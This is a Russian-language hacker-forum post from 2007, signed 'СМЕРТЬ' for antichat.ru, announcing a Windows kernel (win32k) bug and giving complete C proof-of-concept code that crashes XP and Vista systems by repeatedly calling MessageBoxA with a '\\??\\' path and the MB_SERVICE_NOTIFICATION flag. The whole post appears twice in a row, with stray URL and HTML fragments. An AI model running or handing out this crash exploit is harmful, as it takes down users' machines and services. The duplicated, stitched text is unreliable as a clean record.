СМЕРТЬ
03.01.2007, 18:41
Новая уязвимость Windows - Смертельный MessageBox.
была обнаружена критическая ошибка в ядре Windows NT. Она вызывает исключение в системных сервисах или ядре Windows на следующих платформах: XP (все SP), XP 64bit, и даже Vista. Ошибка находится в коде драйвера win32 подсистемы, и ее можно вызвать не очень редкой API функцией – MessageBox:
#include <Windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 100; i ++)
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
return 0;
}
Выполнение этого кода очень быстро выводит систему из строя. Код может выдать BSOD, может вызвать в одном из системных сервисов исключение. В любом случае стабильность системы будет нарушена. Не сложно догадаться, что все дело конечно в MessageBox!... и как вы заметили все дело во флаге MB_SERVICE_NOTIFICATION. Обязательное условие вызова исключения – содержимое “\\??\\”. Скорее всего, один MessageBox с 100% не убьет систему, но содержащаяся ошибка таки имеет место, и несколько вызовов (до 10) приведут к результату. Текст сообщения не отвечает ожидаемому “\??\”… В лучшем случае, MessageBox отобразит данные по какому-то случайному указателю. Иногда это и приводит к исключению и падению процессов или системы в целом.
СМЕРТЬ спецально для (www.antichat.ru°)
2007 год.http://www.ntkernelsecurity.com/images/ntkernel.jpg <html>
была обнаружена критическая ошибка в ядре Windows NT. Она вызывает исключение в системных сервисах или ядре Windows на следующих платформах: XP (все SP), XP 64bit, и даже Vista. Ошибка находится в коде драйвера win32 подсистемы, и ее можно вызвать не очень редкой API функцией – MessageBox:
#include <Windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 100; i ++)
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
return 0;
}
Выполнение этого кода очень быстро выводит систему из строя. Код может выдать BSOD, может вызвать в одном из системных сервисов исключение. В любом случае стабильность системы будет нарушена. Не сложно догадаться, что все дело конечно в MessageBox!... и как вы заметили все дело во флаге MB_SERVICE_NOTIFICATION. Обязательное условие вызова исключения – содержимое “\\??\\”. Скорее всего, один MessageBox с 100% не убьет систему, но содержащаяся ошибка таки имеет место, и несколько вызовов (до 10) приведут к результату. Текст сообщения не отвечает ожидаемому “\??\”… В лучшем случае, MessageBox отобразит данные по какому-то случайному указателю. Иногда это и приводит к исключению и падению процессов или системы в целом.
СМЕРТЬ спецально для (www.antichat.ru°)
2007 год.http://www.ntkernelsecurity.com/images/ntkernel.jpg <html>